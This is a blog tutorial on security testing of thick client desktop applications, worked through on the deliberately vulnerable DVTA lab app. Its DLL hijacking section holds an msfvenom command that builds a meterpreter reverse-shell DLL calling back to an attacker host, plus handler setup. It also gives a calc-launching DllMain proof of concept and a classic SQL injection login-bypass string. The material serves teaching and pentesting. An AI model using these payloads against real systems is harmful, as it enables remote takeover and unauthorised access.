Thick Client Security Testing: The Essential Guide
Hi all Security People!👋 Welcome to my blog; My name is ABHISHEK RAJPUT, and I’m working as an InfoSec Consultant🐱💻.
This is my first-ever blog which I wrote as a medium to give back to the awesome cyber security community. I’m excited to share my thoughts and experiences with you. I hope this blog would help you and would like to hear your feedback.
So let’s get started -
In this blog, we will discuss what are — Thick client applications, an overview of them, and my approach to testing thick client applications. We will start from the beginning, covering topics such as — an introduction to the Thick client app, Tiers of Thick client applications, we’ll see some useful tools, common vulnerabilities found in these applications, and how to test for them in a systematic manner.
We’ll be using a vulnerable thick application called “DVTA” — Damn Vulnerable Thick Client Application.
Also, guys, you can refer to ➡ this posted by Hacking Articles which will guide you on how to install and set up dvta lab on your System so that you can practice.
Table of Contents –
- Introduction
- Examples of the thick client application
- The architectures of Thick Client applications
- Common list of vulnerabilities
- Attack map
- 4 — Phases of Testing
a) Information Gathering
i) Knowing the application architecture and
ii) Languages Frameworks
iii) Knowing the application functionality
b) Network/ Traffic Analysis
i) Identifying the Tier
ii) Examining the traffic between the Thick client application and the server
c) Client-Side Analysis
i) DLL Hijacking
ii) Binary Analysis -
iii) File Analysis –
iv) Registry Monitoring
v) Memory Analysis
vi) Reverse Engineering and Modifying the Application
vii) Source code scanning via automated scanner
d) Server-Side Analysis
i) SQL Injection
Proxy-aware and No-proxy aware Thick client applications
i) Proxy aware
ii) Non-proxy-aware/ Proxy Unaware
- Tools
- References
Introduction –
- Thick client applications are generally desktop applications that contain nearly all components required for independently operating and executing software applications.
- A Thick Client application is basically an application that runs on the User’s host machine/system and communicates with the backend server or database server.
- So the client application handles most of the business logic like — validations, view components, and temporary data.
- The Thick Client is also known as the “Fat Client”, “Rich Client” or “Heavy Client” Application. So do not get confused when you hear the terms like these.
Although Web apps are everywhere and widely used, many organizations still use thick client apps on their computers.
Thick client applications can be developed using various programming languages such as:
- .Net
- Java
- C/C++
- Microsoft Silverlight
- Java applets
Examples of some thick clients-
- Spotify
- Firefox
- Burp Suite
- Notepad++
- Greenshot, and many others.
Common Architectures of Thick Client applications :
- 2-Tier architecture
- 3-Tier architecture
· Two-Tier architecture -
In two-tier architecture, the thick client application implements a “Client-to-Server” communication. The application is installed on the client’s computer and, in order to work, will need to communicate with a database server. For example, imagine an HR application installed on the client’s computer and, to retrieve the employees’ information, communicates directly with the HR database server.
· Three-Tier architecture -
In the three-tier architecture, the client communicates with an application server, which in turn talks to the database in a manner similar to a regular web application. The most common communication method in these applications may be carried out using HTTP/HTTPS. Three-tier architecture has a security advantage over two-tier architecture because it prevents the end-user from communicating directly with the database server.
- The following list presents the relevant vulnerabilities for thick client testing -
So now, I’ll be taking you through different testing phases by following a systematic approach.
- The 4 phases will be –
1. Information Gathering
2. Network/ Traffic Analysis
3. Client-Side Analysis
4. Server-Side Analysis
Information Gathering –
First, we will start with Information gathering where we will gather information about our target thick client. This phase will be helpful to us to understand our application and select & use the right tools to carry out the Testing. In this phase we’ll perform the following tasks -
a) Knowing the Application Architecture and
b) Languages Frameworks
c) Knowing Application Functionality, Business logic.
Knowing the app architecture whether it is a 32-bit or 64-bit will be helpful in creating a “malicious DLL file” for the specific architecture later in the DLL Hijacking test case (which we’ll cover in the coming section under client analysis).
Knowing the language will help us to use the right tool to decompile the APP;
For e.x — If it is Built-in “.NET” — dnSpy, dotpeek, etc | or else For “Java” — JD-GUI, etc ).
Tool — CFF Explorer
Step 1 — Open CFF Explorer and open the “.exe” file in it.
Step 2 — As we can see our App is a 32 — bit and it is a .NET application.
Tool — “Sigcheck”
We can also use “Sigcheck” to know whether it is a 32-bit or 64-bit.
c) Identifying Application Functionality and Business Logic
Figuring out the application’s functionality and behavior and identifying all of the different entry points for user input.
Now maybe you can log in to the application and use it from a normal user perspective to know the user input fields, various functionality, business logic, etc.
Network/ Traffic Analysis -
Next phase we’ll talk about performing network analysis; In this phase we’ll identify whether our app is implemented on a 2 — tier or 3-tier architecture, Examining the traffic between the application and the server to search for clear text-sensitive data.
- Identifying the Tier
We’ll now identify the “tier” for our application by analyzing the traffic between the application and the server. For this, we can use tools like — Wireshark, and Echomirage.
- But first, let’s see our application is communicating to which remote/ destination address by using the tool — Tcpview.
- It is also essential to discover which servers the application is communicating with, while it is running.
Step 1 — Run “TCPView” and run the “dvta.exe”. Login into the application and then check the TCP connection for “dvta” by searching the application name (for e.x. — in this case, it is “dvta.exe”).
The below screenshot shows that the remote address is the local address itself since the server is being run in the local system itself that is the reason it shows the localhost address.
Tool — Wireshark
Step 1 — Run Wireshark and set the filter to “ip.addr==127.0.0.1” in order to capture traffic for the local address (127.0.0.1) since our application communicates with the same address.
Step 2 — Run the “DVTA” and login into the App. We’ll observe the traffic being intercepted in “Wireshark”.
Step 3 — Let’s analysis on of the traffic.
We can see in the screenshot below that the request contains an SQL query, which means that the application is directly communicating with the database server. By this, we can conclude that the “DVTA” is a 2-tier application.
Hence there is a high probability that “SQL injection” might be possible and we can test for it while doing “Server Side Analysis” in the later phase.
Tool — Echomirage
The same goal can also be achieved by using tool called “Echomirage”. Echo Mirage allows us to see and edit the data being exchanged be it encrypted or unencrypted session.
Step 1 — Open the “DVTA” and log in with a valid credential.
Step 2 — Open Echomirage. Go to “Process >> Inject >> Select the process “dvta.exe” >> OK”.
Step 3 — Now Go to “Add Expenses” to fill some data. Fill in the input boxes and click on Save.
As we can see In the image below — In “Echomirage” the request traffic consists of “SQL query”; hence we can conclude that the application is communicating with Database Server directly.
· View Expenses.
· Examining the traffic between the Thick client application and the server.
Analyzing the traffic between the application and the server may reveal sensitive data such as Clear-text credentials/secrets/API endpoints, API Keys, (Web Services, REST API), etc in clear text or in an unencrypted format.
· Tool — Wireshark
Step 1 — Run Wireshark to capture the traffic. Open DVTA and log in using username and password.
Step 2 — Now Analyze the traffic; We can see that the password is being sent in an unencrypted format as shown in the below screenshot.
- Password and other critical data such as credit card no, CVV, PII, etc should be sent in an encrypted format.
· Client Side Analysis/ Testing
Next, we’ll do analysis/ testing on the client side which includes (but is not limited to) –
- DLL Hijacking
- Binary Analysis
- File Analysis
- Memory Analysis
- Registry Monitoring
- Source Code Scanning
· DLL Hijacking
DLL hijacking is a technique, in which we trick a legitimate/trusted application (DVTA application in our case) into loading an arbitrary DLL (which we’ll create).
DLL hijacking can be used to execute code, obtain persistence and escalate privileges. Of those 3 the least probable to find is privilege escalation by far which will be mostly useful during a pentest.
For testing DLL hijacking we need to know the dll that can actually be hijacked. That is, we need to know the name of some DLL(s) that the application needs but is not found on the system for some reason. Maybe it was for other supported platform or such. Or another scenario can be when it does load, but the path of dll loaded is further down the PATH env, and we happen to have write access to one of the paths that would override the existing one.
But for now, we’ll focus on the first one, where the required dll is “not found”.
- We will be needing the following tools –
1) ProcMon (Process Monitor) — for monitoring the processes that are currently running.
2) Msfvenom — For Creating malicious/ test DLL file.
3) Visual Studio — If you don’t have access to Metasploit and have Windows OS maybe you can use Visual Studio to write & build a test DLL file.
- Method 1☝🏻 -
Tools — Procmon + Msfvenom
Step 1 — Run “Procmon”.
Step 2 — Now; Run the “DVTA” application.
Step 3 — As we can see in the above (Step — 1) screenshot; Procmon shows you all the processes that are running in the system, but with this huge information in front of us, it is hard to find and work with. Lucky for us, Procmon allows us to filter these events based on several parameters. In order to use a filter, you can click on Filter->Filter or press ctrl + L.
So we only need processes specific to our target application i.e. “DVTA” so we’ll use the filter -
Let us add a filter to focus only on the “DVTA” executable.
a) filter : Process name contains dvta.
Now we only need paths that contain dll files. So let’s filter out DLLs.
B) filter: Path ends with dll
Well, remember when I said that we want to hijack a dll that the application tries to load but isn’t actually present on the system. So whenever the dll is not present on the system, its result is logged as “NAME NOT FOUND” in ProcMon. So now we know what’ll be our next filter is.
C) filter: Result contains NAME NOT FOUND
So after adding all the 3 filters. Click on Apply.
So now in front of us, we have a list of DLL names that “DVTA” couldn’t find on the system but wants to load.
Note — If you don’t have administrator access you might not be able to paste your arbitrary dll under the system directory for ex — “C:\” or “C:\Windows\” so make sure you choose any other dll(s) that is under users directory or else if you have administrator rights then you are good to go.
Step 4 — Let’s choose one of the DLLs — We’ll choose “CRYPTPS.dll” which the application is trying to call from the “Users” directory which may not require admin access to run the application.
Think from an attacker’s perspective, that he is trying to get a foothold on the machine by social engineering the victim into downloading the malicious DLL or something similar. So it’s safe to assume that if your victim downloads your malicious application, then he will run from the same location, and thus any dll in that path is accessible to us.
Step 5 — Now my favorite part creating a payload (malicious DLL file) using msfvenom.
msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=Attacker_IP LPORT=4444 > CRYPTSP.dll
Now, our malicious/ test dll file is been created; now we have to just copy and paste this dll into the mentioned path where the application is trying to find.
Step 6 — Start the Msfconsole.
use exploit/multi/handlerset payload windows/meterpreter/reverese_tcpset LHOST Attacker_IPset LPORT 4444
# exploit
Step 7 — Now; Close the DVTA application if already running and run it again.
As soon as you run the application you’ll see you get a meterpreter session to your attacker machine.
Step 8 — Verifying the Target.
sysinfo
# shell
# cd C:\
# dir
Hence with this we can conclude that the application DVTA is vulnerable to “DLL hijacking”.
Note — The above technique was one the few techniques for performing dll hijacking. There are other techniques as well which is similar to the above technique explained and involve most of the above steps. You can read about it from the links mentioned under the reference section.
- Method 2✌🏻 –
Tools — Procmon + Visual Studio
Now, there might be a case where you don’t have access to Msfvenom. So, in that case, you can build your own dll code in Visual Studio with the “missing DLL file name”.
Step 1 — Identify the missing dll file that the application is calling.
As of now, you guys know how to use Procmon to find the missing dll. We have already found that “CRYPTSP.dll” is been called by our target application.
Step 2 — Create a dll file with the name “CRYPTSP” where the code inside will be responsible for poping-up a calculator once the DVTA calls our dll.
Copy and Paste the following dll code which I got from the Internet in Visual Studio.
#include “pch.h”
#include <windows.h>
int maliciousTestDll()
{
WinExec(“calc”, 0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
maliciousTestDll();
return 0;
}
Step 3 — Copy and Paste the dll in the required file path.
Step 4 — Run the application again.
· Binary Analysis -
In Binary Analysis, we’ll manually analyze the binary that is the source code by decompiling it to look for sensitive information, such as:
- Hard-coded credentials
- API Keys
- API Endpoints
- Comments
- Hidden functions
As I said before knowing the languages and framework on which our application is built will be helpful for us to use the right tool to decompile it. So we know that DVTA is a .NET Application written in C# so we can use tools such as — dnSpy, dotpeek, JustDecompile etc
Tool — dnSpy
Step 1 — Open “dnSpy” and open “DVTA” in it.
Step 2 — From the below screenshot we can see that the Source Code is not Obfuscated.
While analyzing the source code we might find sensitive data in an unencrypted form. For ex — Here we can see that the FTP server password is stored in clear text.
· File Analysis –
Applications usually store information in local files and the registry. Sensitive information that we might look for in a thick client pentest includes:
- Usernames
- Passwords
- DB Connection Strings
- API keys
Open and Analyze the log file(s), config file(s), .txt file(s) and other files present in the application folder for any sensitive data.
· Registry Monitoring
Some applications store/writes data like usernames, passwords, or other sensitive information in the Windows registry.
Launch Process Monitor and login into the application. There are some operations performed in order to store data in the registry.
As we can see that the application is storing some value in the registry. So let’s check in that registry.
The Below screenshot show that critical data like login credential are being stored in the registry.
- Storing sensitive data like login credentials in the registry is not a good practice as a local adversary can steal it.
· Memory Analysis
Thick client applications developed in a two-tier architecture transfer sensitive information into the application’s memory.
This is a design flaw, because every thick client application developed in a two-tier architecture will, by default, disclose sensitive information in the application’s memory, such as Usernames, Passwords, Connection strings, and Hardcoded database credentials.
Tool — ProcessHacker or Process Explorer
Step 1 — Login into the application.
Step 2 — Run “ProcessHacker”. Right Click on “DVTA.exe” > Properties > Memory > Strings. Choose the minimum length as 10 and click on OK.
Step 3 — Search for String — “password” and click OK. As we can see we have found some unencrypted passwords that was dumped in the memory.
· Reverse Engineering and Modifying the Application
There are cases where a user logs In and some menus are disabled for him. For instance, he is the maker and he can’t have checker menus so some developers disable them in the client assuming that the user cannot enable them and these disabled menus can be easily enabled in C sharp.net applications.
Now let’s see how we can do that. First of all, simply take a copy of the Extracted DVTA Release folder in case we did something wrong or messed up with codes so simply, we can start from fresh without downloading it again (Take a backup of the original application files/ folders every time while performing reverse engineering).
We can use many tools in order to decompile .NET applications as our application is a .NET application as we found out in the Recon phase.
Tools such as dnSpy, dotPeek, .NET Reflector, etc. But I personally use dnSpy as it provides — .NET decompiler, debugging, and assembly language editing (IL editor).
Tool — dnSpy
Step 1 — Open the DVTA application and we’ll notice that the login menu contains a Button called “Configure Server” which is disabled.
Step 2 — Now open “dnSpy” and go the code part where it has the logic for that configure server button.
It can be seen that it has a Boolean value set to “false” that’s the reason the button is disabled. So we’ll change the Boolean value and set it to “true”.
Step 3 — Select the value “false” >> Right Click >> Edit Method (C#) and change the value from false to true. After that click on Compile and Save the file.
Step 4 — Now Open the DVTA app; we can see that the button is now enabled.
Although this was only a minor part, reverse engineering needs expertise and a thorough grasp of the application’s operation.
· Source code scanning through an automated scanner
Once we decompiled the binary, we can use an automated code scanner to identify security vulnerabilities by submitting the directory consisting the source code for the binary to the ‘VisualCodeGrepper”. VisualCodeGrepper identifies security vulnerabilities and presents them in a pie chart.
Tool — VisualCodeGrepper
Step 1 — Decompile the DVTA application using “dnSpy” and export the source code for DVTA into a folder.
Now; we have the source code for the dvta which is in C# language.
Step 2 — Open the VisualCodeGrepper.
Step 3 — Select language as C#.
Step 4 — Go to New Target Directory >> Select the folder where source codes are saved >> OK.
The source code files are loaded in the scanner. Now Click on “Scan >> Full Scan” and then under “Results” view the results.
· Serve Side Analysis –
- SQL Injection
The most common vulnerability in thick client applications is SQL Injection.
Damn Vulnerable Thick Client application is also affected by SQL injection.
Let’s see how this attack works.
As we have already noticed during the Network/ Traffic analysis phase while login SQL query is being transmitted to the server.
Step 1 — Let’s inject a classical SQLi payload — 1’ OR 1=1 — and see what happens
As we can see we got logged in into the application.
In order to intercept the traffic between the thick client application and the server, we should use a proxy tool. The proxy tool will be in the middle between the thick client and the local/remote server, enabling us to view and modify the transmitted data.
When we talk about intercepting thick client traffic, we should know the difference between:
+Proxy aware — A thick client that has proxy settings options in the application itself or in some case if the Thick Client respects the proxy setting same as system proxy setting.
- Non-proxy-aware — A thick client that does not have any proxy settings options in the application itself and requires a different testing approach.
- If the thick client application is proxy aware, it may be possible to intercept the traffic using any proxy tool.
- When the thick client is non-proxy-aware, Burp Suite’s support for invisible proxying allows non-proxy-aware clients to connect directly to a Proxy listener.
TOOLS –
- “3 — Tier”
(Proxy Aware)➡ Burp Suite
(Proxy Unware) ➡Burp Suite’s “Invisible Proxy”, MITM relay etc.
- “2 — Tier” — Echomirage
- Tools –
· CFF Explorer — https://ntcore.com/?page_id=388
· Sigcheck — https://download.sysinternals.com/files/Sigcheck.zip
· Wireshark — https://www.wireshark.org/download.html
· Echomirage — https://sourceforge.net/projects/echomirage.oldbutgold.p/
· Procmon — https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
· dnSpy (For Windows)- https://github.com/dnSpy/dnSpy/releases
· dotPeek — https://www.jetbrains.com/decompiler/
· Process Hacker — https://processhacker.sourceforge.io/downloads.php
· Winhex — https://www.x-ways.net/winhex/
· Visual Code Grepper — https://sourceforge.net/projects/visualcodegrepp/
· BurpSuite — https://portswigger.net/burp/communitydownload
- References –
· https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-2/
· https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-part-2/
· https://www.cobalt.io/blog/attacking-windows-applications-part-1
· https://www.cobalt.io/blog/attacking-windows-applications-pt.-2
· https://medium.com/techzap/dll-hijacking-part-1-basics-b6dfb8260cf1
· https://atherosec.medium.com/is-your-executable-vulnerable-to-dll-hijacking-8c31cb3f31e1
So that’s all for this blog; I will be publishing one more blog regarding Thick Client Security Testing, where we will look into another application called “BetaFast” (3-tier) and “BetaBank” (2-tier) developed by NetSPI.
Stay tuned!
Hope you found this blog interesting and informative. As this was my 1st blog if you found any mistakes, particularly grammatical mistakes you can comment down below.
Your valuable comments and feedback are welcome.
Thank you for reading!
धन्यवाद पढ़ने के लिए!
अनुगृहीतोऽस्मि पठितवान्
¡Gracias por leer!
Danke fürs Lesen!
読んでくれてありがとうございます!
شكراً على القراءة
Благодарю за чтение!